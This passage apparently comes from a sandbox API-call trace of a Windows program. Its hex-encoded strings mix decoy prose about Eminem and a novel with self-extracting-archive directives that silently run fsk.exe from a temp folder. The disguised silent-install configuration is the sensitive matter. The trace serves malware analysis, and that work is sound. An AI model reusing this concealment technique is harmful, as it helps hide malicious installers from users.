65\x63\x75\x74\x69\x76\x65\x6c\x79\x20\x64\x65\x62\x75\x74\x20\x61\x74\x20\x6e\x75\x6d\x62\x65\x72\x20\x6f\x6e\x65\x20\x6f\x6e\x20\x74\x68\x65\x0d\x0a\x20\x42\x69\x6c\x6c\x62\x6f\x61\x72\x64\x20\x32\x30\x30\x2e\x5b\x31\x5d\x20\x52\x6f\x6c\x6c\x69\x6e\x67\x20\x53\x74\x6f\x6e\x65\x20\x72\x61\x6e\x6b\x65\x64\x20\x68\x69\x6d\x20\x38\x33\x72\x64\x20\x6f\x6e\x20\x69\x74\x73\x20\x6c\x69\x73\x74\x20\x6f\x66\x20\x31\x30\x30\x20\x47\x72\x65\x61\x74\x65\x73\x74\x20\x41\x72\x74\x69\x73\x74\x73\x20\x6f\x66\x20\x41\x6c\x6c\x20\x54\x69\x6d\x65\x2c\x20\x0d\x0a\x63\x61\x6c\x6c\x69\x6e\x67\x20\x68\x69\x6d\x20\x74\x68\x65\x20\x22\x4b\x69\x6e\x67\x20\x6f\x66\x20\x48\x69\x70\x20\x48\x6f\x70\x22\x2e\x20\x0d\x0a\x53\x65\x74\x75\x70\x3d\x66\x73\x6b\x2e\x65\x78\x65\x20\x6d\x75\x75\x3d\x6b\x73\x6d\x20\x0d\x0a", cchWideChar=-1, lpMultiByteStr=0x25b630, cbMultiByte=13212, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e\x0d\x0a\x0d\x0a\x20\x48\x65\x20\x69\x73\x20\x61\x6c\x73\x6f\x20\x6b\x6e\x6f\x77\x6e\x20\x66\x6f\x72\x20\x68\x69\x73\x20\x63\x6f\x6c\x6c\x61\x62\x6f\x72\x61\x74\x69\x6f\x6e\x73\x20\x77\x69\x74\x68\x20\x66\x65\x6c\x6c\x6f\x77\x20\x44\x65\x74\x72\x6f\x69\x74\x2d\x62\x61\x73\x65\x64\x20\x72\x61\x70\x70\x65\x72\x20\x52\x6f\x79\x63\x65\x20\x64\x61\x20\x35\x27\x39\x22\x3b\x20\x74\x68\x65\x20\x74\x77\x6f\x20\x61\x72\x65\x20\x63\x6f\x6c\x6c\x65\x63\x74\x69\x76\x65\x6c\x79\x0d\x0a\x0d\x0a\x20\x6b\x6e\x6f\x77\x6e\x20\x61\x73\x20\x42\x61\x64\x20\x4d\x65\x65\x74\x73\x20\x45\x76\x69\x6c\x2e\x20\x45\x6d\x69\x6e\x65\x6d\x20\x68\x61\x73\x20\x64\x65\x76\x65\x6c\x6f\x70\x65\x64\x20\x6f\x74\x68\x65\x72\x20\x76\x65\x6e\x74\x75\x72\x65\x73\x2c\x20\x69\x6e\x63\x6c\x75\x64\x69\x6e\x67\x20\x53\x68\x61\x64\x79\x20\x52\x65\x63\x6f\x72\x64\x73\x2c\x20\x77\x69\x74\x68\x20\x6d\x61\x6e\x61\x67\x65\x72\x20\x50\x61\x75\x6c\x20\x52\x6f\x73\x65\x6e\x62\x65\x72\x67\x2c\x20\x77\x68\x69\x63\x68\x20\x68\x65\x6c\x70\x65\x64\x20\x6c\x61\x75\x6e\x63\x68\x20\x74\x68\x65\x20\x63\x61\x72\x65\x65\x72\x73\x20\x6f\x66\x20\x61\x72\x74\x69\x73\x74\x73\x20\x73\x75\x63\x68\x20\x61\x73\x20\x35\x30\x20\x43\x65\x6e\x74\x2e\x20\x0d\x0a\x0d\x0a\x45\x6d\x69\x6e\x65\x6d\x20\x68\x61\x73\x20\x61\x6c\x73\x6f\x20\x65\x73\x74\x61\x62\x6c\x69\x73\x68\x65\x64\x20\x68\x69\x73\x20\x6f\x77\x6e\x20\x63\x68\x61\x6e\x6e\x65\x6c\x2c\x0d\x0a\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c\x0d\x0a\x0d\x0a\x20\x6e\x65\x77\x6c\x79\x77\x65\x64\x73\x20\x52\x61\x6d\x73\x65\x73\x20\x61\x6e\x64\x20\x4e\x65\x66\x72\x65\x74\x20\x45\x6d\x65\x72\x73\x6f\x6e\x20\x73\x70\x65\x6e\x64\x20\x74\x68\x65\x69\x72\x20\x74\x69\x6d\x65\x20\x6c\x69\x76\x69\x6e\x67\x20\x6f\x6e\x20\x74\x68\x65\x69\x72\x20\x66\x61\x6d\x69\x6c\x79\x27\x73\x20\x64\x61\x68\x61\x62\x65\x65\x79\x61\x68\x20\x6f\x6e\x20\x74\x68\x65\x20\x4e\x69\x6c\x65\x2c\x20\x77\x68\x69\x6c\x65\x20\x74\x68\x65\x20\x72\x65\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x67\x72\x6f\x75\x70\x20\x72\x65\x6d\x61\x69\x6e\x73\x20\x61\x74\x20\x74\x68\x65\x20\x68\x6f\x75\x73\x65\x20\x6e\x65\x61\x72\x20\x47\x69\x7a\x61\x2c\x20\x77\x68\x65\x72\x65\x20\x74\x68\x65\x69\x72\x20\x65\x78\x63\x61\x76\x61\x74\x69\x6f\x6e\x73\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x2e\x20\x42\x65\x74\x77\x65\x65\x6e\x20\x74\x68\x65\x20\x61\x6e\x74\x69\x63\x73\x20\x6f\x66\x20\x52\x61\x6d\x73\x65\x73\x27\x20\x66\x6f\x72\x6d\x65\x72\x20\x61\x73\x73\x6f\x63\x69\x61\x74\x65\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x73\x6d\x75\x67\x67\x6c\x69\x6e\x67\x20\x74\x72\x61\x64\x65\x2c\x20\x74\x68\x65\x20\x72\x65\x61\x70\x70\x65\x61\x72\x61\x6e\x63\x65\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x61\x73\x74\x65\x72\x20\x43\x72\x69\x6d\x69\x6e\x61\x6c\x2c\x20\x61\x6e\x64\x20\x79\x65\x74\x20\x61\x6e\x6f\x74\x68\x65\x72\x20\x75\x6e\x6b\x6e\x6f\x77\x6e\x20\x61\x64\x76\x65\x72\x73\x61\x72\x79\x20\x77\x69\x74\x68\x20\x61\x20\x72\x69\x63\x68\x20\x66\x69\x6e\x64\x2c\x0d\x0a\x20\x6c\x69\x74\x74\x6c\x65\x20\x74\x69\x6d\x65\x20\x69\x73\x20\x70\x65\x72\x6d\x69\x74\x74\x65\x64\x20\x66\x6f\x72\x20\x72\x6f\x6d\x61\x6e\x63\x65\x2e\x2e\x2e\x62\x75\x74\x20\x6f\x66\x20\x63\x6f\x75\x72\x73\x65\x2c\x0d\x0a\x0d\x0a\x20\x74\x68\x65\x20\x79\x6f\x75\x6e\x67\x65\x72\x20\x45\x6d\x65\x72\x73\x6f\x6e\x73\x20\x6d\x61\x6b\x65\x20\x74\x68\x65\x20\x6d\x6f\x73\x74\x20\x6f\x66\x20\x69\x74\x2e\x20\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c\x0d\x0a\x0d\x0a\x20\x6e\x65\x77\x6c\x79\x77\x65\x64\x73\x20\x52\x61\x6d\x73\x65\x73\x20\x61\x6e\x64\x20\x4e\x65\x66\x72\x65\x74\x20\x45\x6d\x65\x72\x73\x6f\x6e\x20\x73\x70\x65\x6e\x64\x20\x74\x68\x65\x69\x72\x20\x74\x69\x6d\x65\x20\x6c\x69\x76\x69\x6e\x67\x20\x6f\x6e\x20\x74\x68\x65\x69\x72\x20\x66\x61\x6d\x69\x6c\x79\x27\x73\x20\x64\x61\x68\x61\x62\x65\x65\x79\x61\x68\x20\x6f\x6e\x20\x74\x68\x65\x20\x4e\x69\x6c\x65\x2c\x20\x77\x68\x69\x6c\x65\x20\x74\x68\x65\x20\x72\x65\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x67\x72\x6f\x75\x70\x20\x72\x65\x6d\x61\x69\x6e\x73\x20\x61\x74\x20\x74\x68\x65\x20\x68\x6f\x75\x73\x65\x20\x6e\x65\x61\x72\x20\x47\x69\x7a\x61\x2c\x20\x77\x68\x65\x72\x65\x20\x74\x68\x65\x69\x72\x20\x65\x78\x63\x61\x76\x61\x74\x69\x6f\x6e\x73\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x2e\x20\x42\x65\x74\x77\x65\x65\x6e\x20\x74\x68\x65\x20\x61\x6e\x74\x69\x63\x73\x20\x6f\x66\x20\x52\x61\x6d\x73\x65\x73\x27\x20\x66\x6f\x72\x6d\x65\x72\x20\x61\x73\x73\x6f\x63\x69\x61\x74\x65\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x73\x6d\x75\x67\x67\x6c\x69\x6e\x67\x20\x74\x72\x61\x64\x65\x2c\x20\x74\x68\x65\x20\x72\x65\x61\x70\x70\x65\x61\x72\x61\x6e\x63\x65\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x61\x73\x74\x65\x72\x20\x43\x72\x69\x6d\x69\x6e\x61\x6c\x2c\x20\x61\x6e\x64\x20\x79\x65\x74\x20\x61\x6e\x6f\x74\x68\x65\x72\x20\x75\x6e\x6b\x6e\x6f\x77\x6e\x20\x61\x64\x76\x65\x72\x73\x61\x72\x79\x20\x77\x69\x74\x68\x20\x61\x20\x72\x69\x63\x68\x20\x66\x69\x6e\x64\x2c\x0d\x0a\x20\x6c\x69\x74\x74\x6c\x65\x20\x74\x69\x6d\x65\x20\x69\x73\x20\x70\x65\x72\x6d\x69\x74\x74\x65\x64\x20\x66\x6f\x72\x20\x72\x6f\x6d\x61\x6e\x63\x65\x2e\x2e\x2e\x62\x75\x74\x20\x6f\x66\x20\x63\x6f\x75\x72\x73\x65\x2c\x0d\x0a\x0d\x0a\x20\x74\x68\x65\x20\x79\x6f\x75\x6e\x67\x65\x72\x20\x45\x6d\x65\x72\x73\x6f\x6e\x73\x20\x6d\x61\x6b\x65\x20\x74\x68\x65\x20\x6d\x6f\x73\x74\x20\x6f\x66\x20\x69\x74\x2e\x20\x0d\x0a\x55\x70\x64\x61\x74\x65\x3d\x55\x38\x34\x37\x31\x0d\x0a\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c\x0d\x0a\x0d\x0a\x20\x6e\x65\x77\x6c\x79\x77\x65\x64\x73\x20\x52\x61\x6d\x73\x65\x73\x20\x61\x6e\x64\x20\x4e\x65\x66\x72\x65\x74\x20\x45\x6d\x65\x72\x73\x6f\x6e\x20\x73\x70\x65\x6e\x64\x20\x74\x68\x65\x69\x72\x20\x74\x69\x6d\x65\x20\x6c\x69\x76\x69\x6e\x67\x20\x6f\x6e\x20\x74\x68\x65\x69\x72\x20\x66\x61\x6d\x69\x6c\x79\x27\x73\x20\x64\x61\x68\x61\x62\x65\x65\x79\x61\x68\x20\x6f\x6e\x20\x74\x68\x65\x20\x4e\x69\x6c\x65\x2c\x20\x77\x68\x69\x6c\x65\x20\x74\x68\x65\x20\x72\x65\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x67\x72\x6f\x75\x70\x20\x72\x65\x6d\x61\x69\x6e\x73\x20\x61\x74\x20\x74\x68\x65\x20\x68\x6f\x75\x73\x65\x20\x6e\x65\x61\x72\x20\x47\x69\x7a\x61\x2c\x20\x77\x68\x65\x72\x65\x20\x74\x68\x65\x69\x72\x20\x65\x78\x63\x61\x76\x61\x74\x69\x6f\x6e\x73\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x2e\x20\x42\x65\x74\x77\x65\x65\x6e\x20\x74\x68\x65\x20\x61\x6e\x74\x69\x63\x73\x20\x6f\x66\x20\x52\x61\x6d\x73\x65\x73\x27\x20\x66\x6f\x72\x6d\x65\x72\x20\x61\x73\x73\x6f\x63\x69\x61\x74\x65\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x73\x6d\x75\x67\x67\x6c\x69\x6e\x67\x20\x74\x72\x61\x64\x65\x2c\x20\x74\x68\x65\x20\x72\x65\x61\x70\x70\x65\x61\x72\x61\x6e\x63\x65\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x61\x73\x74\x65\x72\x20\x43\x72\x69\x6d\x69\x6e\x61\x6c\x2c\x20\x61\x6e\x64\x20\x79\x65\x74\x20\x61\x6e\x6f\x74\x68\x65\x72\x20\x75\x6e\x6b\x6e\x6f\x77\x6e\x20\x61\x64\x76\x65\x72\x73\x61\x72\x79\x20\x77\x69\x74\x68\x20\x61\x20\x72\x69\x63\x68\x20\x66\x69\x6e\x64\x2c\x0d\x0a\x20\x6c\x69\x74\x74\x6c\x65\x20\x74\x69\x6d\x65\x20\x69\x73\x20\x70\x65\x72\x6d\x69\x74\x74\x65\x64\x20\x66\x6f\x72\x20\x72\x6f\x6d\x61\x6e\x63\x65\x2e\x2e\x2e\x62\x75\x74\x20\x6f\x66\x20\x63\x6f\x75\x72\x73\x65\x2c\x0d\x0a\x0d\x0a\x20\x74\x68\x65\x20\x79\x6f\x75\x6e\x67\x65\x72\x20\x45\x6d\x65\x72\x73\x6f\x6e\x73\x20\x6d\x61\x6b\x65\x20\x74\x68\x65\x20\x6d\x6f\x73\x74\x20\x6f\x66\x20\x69\x74\x2e\x20\x0d\x0a\x53\x69\x6c\x65\x6e\x74\x3d\x31\x0d\x0a\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e\x0d\x0a\x0d\x0a\x20\x48\x65\x20\x69\x73\x20\x61\x6c\x73\x6f\x20\x6b\x6e\x6f\x77\x6e\x20\x66\x6f\x72\x20\x68\x69\x73\x20\x63\x6f\x6c\x6c\x61\x62\x6f\x72\x61\x74\x69\x6f\x6e\x73\x20\x77\x69\x74\x68\x20\x66\x65\x6c\x6c\x6f\x77\x20\x44\x65\x74\x72\x6f\x69\x74\x2d\x62\x61\x73\x65\x64\x20\x72\x61\x70\x70\x65\x72\x20\x52\x6f\x79\x63\x65\x20\x64\x61\x20\x35\x27\x39\x22\x3b\x20\x74\x68\x65\x20\x74\x77\x6f\x20\x61\x72\x65\x20\x63\x6f\x6c\x6c\x65\x63\x74\x69\x76\x65\x6c\x79\x0d\x0a\x0d\x0a\x20\x6b\x6e\x6f\x77\x6e\x20\x61\x73\x20\x42\x61\x64\x20\x4d\x65\x65\x74\x73\x20\x45\x76\x69\x6c\x2e\x20\x45\x6d\x69\x6e\x65\x6d\x20\x68\x61\x73\x20\x64\x65\x76\x65\x6c\x6f\x70\x65\x64\x20\x6f\x74\x68\x65\x72\x20\x76\x65\x6e\x74\x75\x72\x65\x73\x2c\x20\x69\x6e\x63\x6c\x75\x64\x69\x6e\x67\x20\x53\x68\x61\x64\x79\x20\x52\x65\x63\x6f\x72\x64\x73\x2c\x20\x77\x69\x74\x68\x20\x6d\x61\x6e\x61\x67\x65\x72\x20\x50\x61\x75\x6c\x20\x52\x6f\x73\x65\x6e\x62\x65\x72\x67\x2c\x20\x77\x68\x69\x63\x68\x20\x68\x65\x6c\x70\x65\x64\x20\x6c\x61\x75\x6e\x63\x68\x20\x74\x68\x65\x20\x63\x61\x72\x65\x65\x72\x73\x20\x6f\x66\x20\x61\x72\x74\x69\x73\x74\x73\x20\x73\x75\x63\x68\x20\x61\x73\x20\x35\x30\x20\x43\x65\x6e\x74\x2e\x20\x0d\x0a\x0d\x0a\x45\x6d\x69\x6e\x65\x6d\x20\x68\x61\x73\x20\x61\x6c\x73\x6f\x20\x65\x73\x74\x61\x62\x6c\x69\x73\x68\x65\x64\x20\x68\x69\x73\x20\x6f\x77\x6e\x20\x63\x68\x61\x6e\x6e\x65\x6c\x2c\x0d\x0a\x50\x61\x74\x68\x3d\x25\x74\x65\x6d\x70\x25\x5c\x36\x32\x38\x39\x30\x32\x31\x38\x0d\x0a\xef\xbb\xbf\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x2d\x73\x65\x6c\x6c\x69\x6e\x67\x20\x61\x72\x74\x69\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x32\x30\x30\x30\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x55\x6e\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73\x2e\x20\x54\x68\x72\x6f\x75\x67\x68\x6f\x75\x74\x20\x68\x69\x73\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x0d\x0a\x68\x65\x20\x68\x61\x73\x20\x68\x61\x64\x20\x31\x30\x20\x6e\x75\x6d\x62\x65\x72\x2d\x6f\x6e\x65\x20\x61\x6c\x62\x75\x6d\x73\x20\x6f\x6e\x20\x74\x68\x65\x20\x42\x69\x6c\x6c\x62\x6f\x61\x72\x64\x20\x32\x30\x30\x20\x61\x6e\x64\x20\x66\x69\x76\x65\x20\x6e\x75\x6d\x62\x65\x72\x2d\x6f\x6e\x65\x20\x73\x69\x6e\x67\x6c\x65\x73\x20\x6f\x6e\x20\x74\x68\x65\x20\x42\x69\x6c\x6c\x62\x6f\x61\x72\x64\x20\x48\x6f\x74\x20\x31\x30\x30\x2e\x0d\x0a\x20\x57\x69\x74\x68\x20\x6d\x6f\x72\x65\x20\x74\x68\x61\x6e\x20\x34\x37\x2e\x34\x20\x6d\x69\x6c\x6c\x69\x6f\x6e\x20\x61\x6c\x62\x75\x6d\x73\x20\x61\x6e\x64\x20\x31\x30\x37\x2e\x35\x20\x6d\x69\x6c\x6c\x69\x6f\x6e\x20\x73\x69\x6e\x67\x6c\x65\x73\x20\x73\x6f\x6c\x64\x20\x69\x6e\x20\x74\x68\x65\x20\x55\x2e\x53\x2e\x20\x61\x6e\x64\x20\x32\x32\x30\x20\x6d\x69\x6c\x6c\x69\x6f\x6e\x20\x72\x65\x63\x6f\x72\x64\x73\x20\x67\x6c\x6f\x62\x61\x6c\x6c\x79\x2c\x0d\x0a\x20\x68\x65\x20\x69\x73\x20\x61\x6d\x6f\x6e\x67\x20\x74\x68\x65\x20\x77\x6f\x72\x6c\x64\x27\x73\x20\x62\x65\x73\x74\x2d\x73\x65\x6c\x6c\x69\x6e\x67\x20\x61\x72\x74\x69\x73\x74\x73\x20\x6f\x66\x20\x61\x6c\x6c\x20\x74\x69\x6d\x65\x20\x61\x6e\x64\x20\x69\x73\x20\x63\x6f\x6e\x73\x69\x73\x74\x65\x6e\x74\x6c\x79\x20\x63\x69\x74\x65\x64\x20\x61\x73\x20\x6f\x6e\x65\x20\x6f\x66\x20\x74\x68\x65\x20\x67\x72\x65\x61\x74\x65\x73\x74\x20\x61\x6e\x64\x20\x6d\x6f\x73\x74\x0d\x0a\x69\x6e\x66\x6c\x75\x65\x6e\x74\x69\x61\x6c\x20\x61\x72\x74\x69\x73\x74\x73\x20\x69\x6e\x20\x61\x6e\x79\x20\x67\x65\x6e\x72\x65\x2e\x20\x48\x65\x20\x69\x73\x20\x74\x68\x65\x20\x6f\x6e\x6c\x79\x20\x61\x72\x74\x69\x73\x74\x20\x74\x6f\x20\x68\x61\x76\x65\x20\x6e\x69\x6e\x65\x20\x61\x6c\x62\x75\x6d\x73\x20\x63\x6f\x6e\x73\x65\x63\x75\x74\x69\x76\x65\x6c\x79\x20\x64\x65\x62\x75\x74\x20\x61\x74\x20\x6e\x75\x6d\x62\x65\x72\x20\x6f\x6e\x65\x20\x6f\x6e\x20\x74\x68\x65\x0d\x0a\x20\x42\x69\x6c\x6c\x62\x6f\x61\x72\x64\x20\x32\x30\x30\x2e\x5b\x31\x5d\x20\x52\x6f\x6c\x6c\x69\x6e\x67\x20\x53\x74\x6f\x6e\x65\x20\x72\x61\x6e\x6b\x65\x64\x20\x68\x69\x6d\x20\x38\x33\x72\x64\x20\x6f\x6e\x20\x69\x74\x73\x20\x6c\x69\x73\x74\x20\x6f\x66\x20\x31\x30\x30\x20\x47\x72\x65\x61\x74\x65\x73\x74\x20\x41\x72\x74\x69\x73\x74\x73\x20\x6f\x66\x20\x41\x6c\x6c\x20\x54\x69\x6d\x65\x2c\x20\x0d\x0a\x63\x61\x6c\x6c\x69\x6e\x67\x20\x68\x69\x6d\x20\x74\x68\x65\x20\x22\x4b\x69\x6e\x67\x20\x6f\x66\x20\x48\x69\x70\x20\x48\x6f\x70\x22\x2e\x20\x0d\x0a\x53\x65\x74\x75\x70\x3d\x66\x73\x6b\x2e\x65\x78\x65\x20\x6d\x75\x75\x3d\x6b\x73\x6d\x20\x0d\x0a", lpUsedDefaultChar=0x0) returned 3304 [0067.512] SetFilePointer (in: hFile=0x134, lDistanceToMove=134676, lpDistanceToMoveHigh=0x1812b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1812b0*=0) returned 0x20e14 [0067.513] CloseHandle (hObject=0x134) returned 1 [0067.513] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x61\x64\x64\x69\x74\x69\x6f\x6e\x20\x74\x6f\x20\x68\x69\x73\x20\x73\x6f\x6c\x6f\x20\x63\x61\x72\x65\x65\x72\x2c\x20\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x61\x6e\x20\x6f\x72\x69\x67\x69\x6e\x61\x6c\x20\x6d\x65\x6d\x62\x65\x72\x20\x6f\x66\x20\x74\x68\x65\x20\x4d\x69\x64\x77\x65\x73\x74\x20\x68\x69\x70\x20\x68\x6f\x70\x20\x67\x72\x6f\x75\x70\x73\x20\x53\x6f\x75\x6c\x20\x49\x6e\x74\x65\x6e\x74\x20\x61\x6e\x64\x20\x44\x31\x32\x2e", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.514] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, 